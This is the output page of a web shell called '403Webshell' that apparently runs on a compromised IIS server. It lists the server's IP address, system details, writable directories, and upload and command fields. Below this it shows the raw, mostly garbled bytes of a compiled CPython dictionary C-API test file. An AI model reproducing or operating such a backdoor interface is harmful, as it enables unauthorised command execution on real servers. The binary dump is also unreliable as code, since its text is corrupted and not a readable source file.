403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_capi/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_capi/__pycache__/test_dict.cpython-313.pyc
�

��ixW���SSKrSSKJrJr SSKJr SSKJr SSKJ	r	 \	R"S5r\	R"S5rSr
Sr"S	S
\5rSr"SS
\R$5r\S:Xa\R*"5 gg)�N)�OrderedDict�UserDict)�MappingProxyType)�support)�
import_helper�	_testcapi�_testlimitedcapi��c�&�\rSrSrSrSrSrSrg)�DictSubclass�c��[S5e)Nzdo not get evil��RuntimeError��self�keys  �-C:\Python313\\Lib\test\test_capi\test_dict.py�__getitem__�DictSubclass.__getitem__����,�-�-�c��[S5e)Nzdo not set evilr)rr�values   r�__setitem__�DictSubclass.__setitem__rrc��[S5e)Nzdo not del evilrrs  r�__delitem__�DictSubclass.__delitem__rr�N)�__name__�
__module__�__qualname__�__firstlineno__rrr�__static_attributes__r rrrrs��.�.�.rrc#�$# �Sv� Sv� Sv� g7f)N�a�b�cr r rr�genr*s���

�I�

�I�

�I�s�c��\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSr g) �CAPITest�c�N�[RnURU"SS055 URU"[SS0555 UR	U"[SS0555 UR	U"SS/55 UR	U"[
555 g�N��)r	�
dict_check�
assertTruer�assertFalser�object�r�checks  r�test_dict_check�CAPITest.test_dict_checks��� �+�+������q�!�f�
�&�����k�1�a�&�1�2�3�����x��A��/�0�1������1�v��'�����v�x��)rc�N�[RnURU"SS055 URU"[	SS0555 URU"[SS0555 URU"SS/55 URU"[
555 gr/)r	�dict_checkexactr3r4rrr5r6s  r�test_dict_checkexact�CAPITest.test_dict_checkexact(s��� �0�0������q�!�f�
�&�����{�A�q�6�2�3�4�����x��A��/�0�1������1�v��'�����v�x��)rc���[RnU"5nURU05 UR[	U5[
5 U"5nUR
X25 g�N)r	�dict_new�assertEqual�assertIs�type�dict�assertIsNot)rr@�dct�dct2s    r�
test_dict_new�CAPITest.test_dict_new1sK��#�,�,���j������b�!��
�
�d�3�i��&��z������#rc��[RnSS0[SS05[SS054H�nU"U5nUR	[U5[5 URX25 UR[5 SUS'SSS5 URUSS5 SUS'URUSS5 M� UR[U/5 UR[US5 g!,(df   Np=f)Nr0r1���*)
r	�
dictproxy_newrrrBrCrrA�assertRaises�	TypeError)rrNrF�proxys    r�test_dictproxy_new�CAPITest.test_dictproxy_new9s���(�6�6�
��q�6�;��1�v�.��!�Q��0@�@�C�!�#�&�E��M�M�$�u�+�'7�8����U�(��"�"�9�-���a��.����U�1�X�q�)��C��F����U�1�X�q�)�A�	
���)�]�B�7����)�]�B�7�.�-�s�>C.�.
C<	c��[RnSS0[SS054H;nU"U5nUR[	U5[
5 UR
X25 M= UR[U[55 UR[U/5 UR[US5 UR[U[5 g�Nr0r1rM)r	�	dict_copyrrBrCrDrArO�SystemErrorr�NULL)r�copyrF�dct_copys    r�test_dict_copy�CAPITest.test_dict_copyIs����)�)���q�6�;��1�v�.�.�C��C�y�H��M�M�$�x�.�$�/����X�+�/�
	
���+�t�X�Z�8����+�t�R�0����+�t�R�0����+�t�T�2rc��[RnSS0nU"U5 URU05 [SS05nU"U5 URUSS05 SS/nU"U5 URUSS/5 U"[	55 gr/)r	�
dict_clearrArr5)r�clearrF�lsts    r�test_dict_clear�CAPITest.test_dict_clearUs��� �+�+���!�f��
�c�
�����b�!�
��1�v���
�c�
�����q�!�f�%��!�f��
�c�
�����q�!�f�%�
�f�h�rc��[RnURU"SS05S5 URU"[SS055S5 UR	[
U[
55 UR	[
U/5 UR	[
US5 UR	[
U[55 UR	[
U[5 grU)	r	�	dict_sizerArrOrWrr5rX)r�sizes  r�test_dict_size�CAPITest.test_dict_sizehs����)�)������q�!�f��q�)�����k�1�a�&�1�2�A�6����+�t�X�Z�8����+�t�R�0����+�t�R�0����+�t�V�X�6����+�t�T�2rc��[RnSSS.nURU"US5S5 URU"US5[5 URU"US5S5 [U5nURU"US5S5 URU"US5[5 [R"5nURU"0/5[5 URURR[5 UR[URR5S5 SSS5 URU"SS5[5 URU"S/S	5[5 g!,(df   NJ=f)
Nr0r1�r'�🐍r'r(rjzunhashable type: 'list'rMr)
r	�dict_getitemrArB�KeyErrorrr�catch_unraisable_exception�
unraisable�exc_typerP�str�	exc_value)r�getitemrFrG�cms     r�test_dict_getitem�CAPITest.test_dict_getitemss)��"�/�/���Q�'�������c�*�A�.��
�
�g�c�3�'��2������l�3�Q�7��C� �������s�+�Q�/��
�
�g�d�C�(�(�3�
�
/�
/�
1�R��M�M�'�"�b�/�8�4����R�]�]�3�3�Y�?����S����!8�!8�9�6�
8�2�	
�
�
�g�b�#�&��1��
�
�g�q�c�1�o�x�0�2�
1�s
�;A7E6�6
Fc�0�[RnSSS.nURU"US5S5 URU"US5[5 URU"USR55S5 [
U5nURU"US5S5 URU"US5[5 [R"5nURU"0[5[5 URURR[5 UR[URR5S5 SSS5 URU"SS5[5 URU"/S5[5 g!,(df   NI=f)	Nr0r1ri�a�brjz'utf-8' codec can't decoderM)r	�dict_getitemstringrArBrl�encoderrrm�INVALID_UTF8rnro�UnicodeDecodeError�assertRegexrprq)r�
getitemstringrFrGrss     r�test_dict_getitemstring� CAPITest.test_dict_getitemstring�s3��(�;�;�
��Q�'������s�D�1�1�5��
�
�m�C��.��9�����s�L�,?�,?�,A�B�A�F��C� ������t�T�2�A�6��
�
�m�D�$�/��:�
�
/�
/�
1�R��M�M�-��L�9�8�D����R�]�]�3�3�5G�H����S����!8�!8�9�9�
;�2�	
�
�
�m�B��-�x�8��
�
�m�B��-�x�8�2�
1�s
�	A;F�
Fc��[RnSSS.nURU"US5S5 URU"US5[5 URU"US5S5 [U5nURU"US5S5 URU"US5[5 UR
[USS5 UR
[U0/5 UR
[U/S5 UR
[U/S5 g�Nr0r1rir'r(rjrM)	r�dict_getitemrefrArBrlrrOrWrP�rrrrFrGs    r�test_dict_getitemref�CAPITest.test_dict_getitemref�s����+�+���Q�'�������c�*�A�.��
�
�g�c�3�'��2������l�3�Q�7��C� �������s�+�Q�/��
�
�g�d�C�(�(�3����+�w��C�8����)�W�b�"�5����+�w��A�6����+�w��C�8rc��[RnSSS.nURU"US5S5 URU"US5[5 URU"USR55S5 [
U5nURU"US5S5 URU"US5[5 UR[USS5 UR[U0[5 UR[U/S5 g)Nr0r1rirwrxrjrM)r�dict_getitemstringrefrArBrlrzrrOrWr|r{)rr~rFrGs    r�test_dict_getitemstringref�#CAPITest.test_dict_getitemstringref�s���!�7�7�
��Q�'������s�D�1�1�5��
�
�m�C��.��9�����s�L�,?�,?�,A�B�A�F��C� ������t�T�2�A�6��
�
�m�D�$�/��:����+�}�b�$�?����,�m�R��N����+�}�b�$�?rc��[RnSSS.nURU"US5S5 URU"US5[5 URU"US5S5 [U5nURU"US5S5 URU"US5[5 UR
[USS5 UR
[U0/5 UR
[U/S5 UR
[U/S5 gr�)	r	�dict_getitemwitherrorrArBrlrrOrWrPr�s    r�test_dict_getitemwitherror�#CAPITest.test_dict_getitemwitherror�s���"�8�8���Q�'�������c�*�A�.��
�
�g�c�3�'��2������l�3�Q�7��C� �������s�+�Q�/��
�
�g�d�C�(�(�3����+�w��C�8����)�W�b�"�5����+�w��A�6����+�w��C�8rc�d�[RnSSS.nURU"US55 URU"US55 URU"US55 [	U5nURU"US55 URU"US55 UR[U0/5 g)Nr0r1rir'r(rj)r	�
dict_containsr3r4rrOrP)r�containsrFrGs    r�test_dict_contains�CAPITest.test_dict_contains�s���#�1�1���Q�'�������c�*�+�����#�s�+�,������l�3�4��C� �������s�+�,�����$��,�-����)�X�r�2�6rc��[RnSSS.nURU"US55 URU"US55 URU"USR	555 UR[X[5 [U5nURU"US55 URU"US55 g)Nr0r1rirwrxrj)	r�dict_containsstringr3r4rzrOr|r{r)r�contains_stringrFrGs    r�test_dict_contains_string�"CAPITest.test_dict_contains_string�s���#�7�7���Q�'�������T�2�3������d�3�4������\�-@�-@�-B�C�D����,�o�L�Q��C� �������d�3�4������t�4�5rc���[Rn0nU"USS5 URUSS05 U"USS5 URUSSS.5 [5nU"USS5 URUSS05 UR	[
U0/S5 UR	[U[5SS5 UR	[US/SS5 UR	[USSS5 g)	Nr'�rj�rir0rrM)r	�dict_setitemrArrOrPrWr)r�setitemrFrGs    r�test_dict_setitem�CAPITest.test_dict_setitem�s���"�/�/������S�!������s�A�h�'���\�1�%�����A�Q�7�8��~����c�1�������Q�x�(����)�W�b�"�a�8����+�w��
�C��C����+�w���Q��:����+�w��C��;rc��[Rn0nU"USS5 URUSS05 U"USR5S5 URUSSS.5 [	5nU"USS5 URUSS05 UR[U0[S5 UR[U[5SS5 UR[USSS5 g)Nrwr�r'rjr�rirM)
r	�dict_setitemstringrArzrrOr|r{rWr)r�
setitemstringrFrGs    r�test_dict_setitemstring� CAPITest.test_dict_setitemstrings���(�;�;�
����c�4��#�����s�A�h�'��c�<�.�.�0�!�4�����A�Q�7�8��~���d�D�!�$������Q�x�(����,�m�R��q�Q����+�}�h�j�$��J����+�}�b�$��Brc�0�[RnSSSS.nU"US5 URUSSS.5 UR[XS5 U"US5 URUS	S05 [SSS
.5nU"US5 URUS	S05 UR[XS5 UR[U0/5 UR[U[SS05S5 UR[US/S5 UR[USS5 g)
Nr0r1rK�r'r)rjr'�r)rjr(rjr)�r'r)rrM)	r	�dict_delitemrArOrlrrPrWr)r�delitemrFrGs    r�test_dict_delitem�CAPITest.test_dict_delitems��"�/�/���A�Q�/����S������A�Q�7�8����(�G�#�6���\�"�����s�A�h�'��!�!�,�-����c�������Q�x�(����(�G�3�7����)�W�b�"�5����+�w��#�q��0B�C�H����+�w���Q�7����+�w��C�8rc�"�[RnSSSS.nU"US5 URUSSS.5 UR[XS5 U"USR55 URUS	S05 [
SSS
.5nU"US5 URUS	S05 UR[XS5 UR[U0[5 UR[U[SS05S5 UR[USS5 g)
Nr0r1rKr�rwr�rxrjr)r�r'rM)r	�dict_delitemstringrArOrlrzrr|r{rWr)r�
delitemstringrFrGs    r�test_dict_delitemstring� CAPITest.test_dict_delitemstring0s���(�;�;�
��A�Q�/���c�4� �����A�Q�7�8����(�M��=��c�<�.�.�0�1�����s�A�h�'��!�!�,�-���d�D�!������Q�x�(����(�M��>����,�m�R��N����+�}�h��Q�x�6H�$�O����+�}�b�$�?rc��[Rn0nURU"USS5S5 URUSS05 URU"USS5S5 URUSS05 [5nURU"USS5S5 URUSS05 URU"USS5S5 URUSS05 UR	[
U0/S5 UR	[U[5SS5 UR	[US/SS5 UR	[USSS5 g�Nr'r�r�r0rrM)r�dict_setdefaultrArrOrPrWr�r�
setdefaultrFrGs    r�test_dict_setdefault�CAPITest.test_dict_setdefaultDs)���.�.�
�������C��a�0�!�4�����s�A�h�'�����C��a�0�!�4�����s�A�h�'��~������D�#�q�1�1�5������Q�x�(�����D�#�q�1�1�5������Q�x�(����)�Z��R��;����+�z�8�:�s�A�F����+�z�A�3��1�=����+�z�2�s�A�>rc��[Rn0nURU"USS5S5 URUSS05 URU"USS5S5 URUSS05 [5nURU"USS5S5 URUSS05 URU"USS5S5 URUSS05 UR	[
U0/S5 UR	[U[5SS5 UR	[US/SS5 UR	[USSS5 gr�)r�dict_setdefaultrefrArrOrPrWrr�s    r�test_dict_setdefaultref� CAPITest.test_dict_setdefaultrefZs)���1�1�
�������C��a�0�!�4�����s�A�h�'�����C��a�0�!�4�����s�A�h�'��~������D�#�q�1�1�5������Q�x�(�����D�#�q�1�1�5������Q�x�(����)�Z��R��;����+�z�8�:�s�A�F����+�z�A�3��1�=����+�z�2�s�A�>rc���"SS[5nSSSS.nU[U5U"U54H�nUR[R	U5[UR
555 UR[RU5[UR555 UR[RU5[UR555 M� g)Nc�&�\rSrSrSrSrSrSrg)�:CAPITest.test_mapping_keys_valuesitems.<locals>.BadMappingiqc��gr?r �rs r�keys�?CAPITest.test_mapping_keys_valuesitems.<locals>.BadMapping.keysr���rc��gr?r r�s r�values�ACAPITest.test_mapping_keys_valuesitems.<locals>.BadMapping.valuestr�rc��gr?r r�s r�items�@CAPITest.test_mapping_keys_valuesitems.<locals>.BadMapping.itemsvr�rr N)r!r"r#r$r�r�r�r%r rr�
BadMappingr�qs��
�
�
rr�r0r1rK)�foo�bar�spam)rDr�assertListEqualr	�	dict_keys�listr��dict_valuesr��
dict_itemsr�)rr��dict_obj�mappings    r�test_mapping_keys_valuesitems�&CAPITest.test_mapping_keys_valuesitemsps���	��	��Q��2�� �,�x�"8�*�X�:N�O�G�� � �!1�!;�!;�G�!D�!%�h�m�m�o�!6�
8�� � �!1�!=�!=�g�!F�!%�h�o�o�&7�!8�
:�� � �!1�!<�!<�W�!E�!%�h�n�n�&6�!7�
9�Prc��[5/[54HrnUR[[R
U5 UR[[RU5 UR[[RU5 Mt gr?)rr5rOrWr	r�r�r�)rr�s  r�"test_dict_keys_valuesitems_bad_arg�+CAPITest.test_dict_keys_valuesitems_bad_arg�sb���z�2�v�x�/�G����k�+;�+E�+E�w�O����k�+;�+G�+G��Q����k�+;�+F�+F��P�0rc�*�[RnURU"0S55 SSSS.nSn/nU"X#5nUcO+UupcpxURUS5 UR	Xx45 M7URU[UR
555 g)Nrr0r1rK�r'r(r))r	�	dict_next�assertIsNonerA�appendr�r�)	rr�rF�pos�pairs�res�rcrrs	         r�test_dict_next�CAPITest.test_dict_next�s���$�.�.�	����)�B��*�+��A�A�&��������C�%�C��{��"%��B�S����R��#��L�L�#��&�
�	
�����S�Y�Y�[� 1�2rc
��[Rn[[4HMn[[[4H5nU"SSS.5nU"XC"SSS.55 URUSSSS.5 M7 MO UR
[U0/5 UR
[U0S5 UR
[U[	505 UR
[US05 UR
[U0[5 UR
[U[05 g)	Nr0r1�r'r(rKrL�r(r)r�rM)
r	�dict_updaterDrrrArO�AttributeErrorrWrX)r�update�cls1�cls2rFs     r�test_dict_update�CAPITest.test_dict_update�s���!�-�-���,�&�D��l�H�4�����+�,���s�D�q�q�!1�2�3�� � ��A�A�A�&>�?�5�'�	
���.�&�"�b�9����.�&�"�b�9����+�v�x�z�2�>����+�v�r�2�6����+�v�r�4�8����+�v�t�R�8rc
��[Rn[[4H�n[[[4HinU"SSS.5nU"XC"SSS.5S5 URUSSSS.5 U"SSS.5nU"XC"SSS.5S5 URUSSSS.5 Mk M� UR
[U0/S5 UR
[U0S	S5 UR
[U[	50S5 UR
[US	0S5 UR
[U0[S5 UR
[U[0S5 g)
Nr0r1r�rKrLr�rr�rM)
r	�
dict_mergerDrrrArOr�rWrX)r�merger�r�rFs     r�test_dict_merge�CAPITest.test_dict_merge�s-�� �+�+���,�&�D��l�H�4�����+�,���c�4�a�a� 0�1�1�5�� � ��A�A�A�&>�?����+�,���c�4�a�a� 0�1�1�5�� � ��A�A�A�&>�?�
5�'�	
���.�%��R��;����.�%��R��;����+�u�h�j�"�a�@����+�u�b�"�a�8����+�u�b�$��:����+�u�d�B��:rc	��[Rn[[4Hzn[[
4HgnU"SSS.5nU"XC"SS/5S5 UR
USSSS.5 U"SSS.5nU"XC"SS/5S5 UR
USS	SS.5 Mi M| UR[U0S
/S5 UR[U0S/S5 UR[U0S/S5 UR[U0SS5 g)
Nr0r1r�)r(rK)r)rLrrLr�rK)r0)r0r1rKrM)
r	�dict_mergefromseq2rDrr��iterrArO�
ValueErrorrP)r�
mergefromseq2r�r�rFs     r�test_dict_mergefromseq2� CAPITest.test_dict_mergefromseq2�s��(�;�;�
��,�&�D��d�
�����+�,���c�4��8�(<�#=�q�A�� � ��A�A�A�&>�?����+�,���c�4��8�(<�#=�q�A�� � ��A�A�A�&>�?�
#�'�	
���*�m�R�$���C����*�m�R�)��a�H����)�]�B���Q�?����)�]�B��A�>rc���[Rn[RnSSS.nURU"US5S5 URUSS05 URU"US5S5 URU05 SSS.nURU"US5S5 URUSS05 URU"US5S5 URU05 URU"0S5S	[45 URU"S
S0S5S	[45 URU"0S5S	5 URU"S
S0S5S	5 [SS05nUR
[XS5 UR
[X$S5 S/nURU"0U5S	[45 UR
[5 U"SS0U5 SSS5 U"0[5 g!,(df   N=f)
Nr�value2�r�key2r�r0rr��r0r�r0rr'r1r�)	r�dict_pop�
dict_pop_nullrArXrrOrWrP)rrr�mydict�not_dict�not_hashable_keys      r�
test_dict_pop�CAPITest.test_dict_pop�s����%�%��!�/�/�
�!�(�3������&�%�0�,�?�����&�(�!3�4�����&�&�1�=�A������$�!�(�3������v�u�5�q�9�����&�(�!3�4�����v�v�6��:������$�	
����"�e�,�q�$�i�8�����3��(�E�2�Q��I�>�	
����r�5�1�1�5������Q�x��7��;��Q��F�#�����+�x�5�A����+�}��F�#�8������"�&6�7�!�T��C�
�
�
�y�
)��e�Q�Z�!1�2�*���T��*�
)�s�G#�#
G1c�>�[Rn[RnSSS.nURU"US5S5 URUSS05 URU"US5S5 URU05 SSS.nURU"US5S5 URUSS05 URU"US5S5 URU05 URU"0S5S	[45 URU"0S5S	5 URU"S
S0S5S	[45 URU"S
S0S5S	5 SnSS0nURU"USR55S
5 SS0nURU"USR55S5 [
SS05nUR[XS5 UR[X&S5 UR[USS0[5 UR[USS0[5 g)Nrr�r�rrr�rr0rr'rj�{)r0r
r1)r�dict_popstring�dict_popstring_nullrArXrzrrOrWr|r{)rrrr�	non_asciirFrs       r�test_dict_popstring�CAPITest.test_dict_popstring�s��"�1�1��'�;�;��!�(�3��������6��E�����&�(�!3�4�������7��G������$�!�(�3�����,�V�U�;�Q�?�����&�(�!3�4����,�V�V�<�a�@������$�	
�����E�2�Q��I�>����,�R��7��;������a��%�8�1�d�)�D����,�c�1�X�u�=�q�A�!�	��S�!�������\�-@�-@�-B�C�X�N��S�!�����,�S�,�2E�2E�2G�H�!�L��Q��F�#�����+�~��G����+�':�e�L�	
���,�n�q�!�f�l�S����,�.A�A�q�6�<�Xrr N)!r!r"r#r$r8r<rHrRr[rarfrtrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr%r rrr,r,s���*�*�$�
8� 
3��&	3�1�,9�,9�$
@�"9�$7�"
6�<�(C�&9�*@�(?�,?�,9�"Q�
3�"
9�;�$?�(%�T'Yrr,�__main__)�unittest�collectionsrr�typesr�testr�test.supportr�
import_modulerr	rXr{rDrr*�TestCaser,r!�mainr rr�<module>rs����-�"��&�
�'�'��4�	� �.�.�/A�B������.�4�.��AY�x� � �AY�P�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit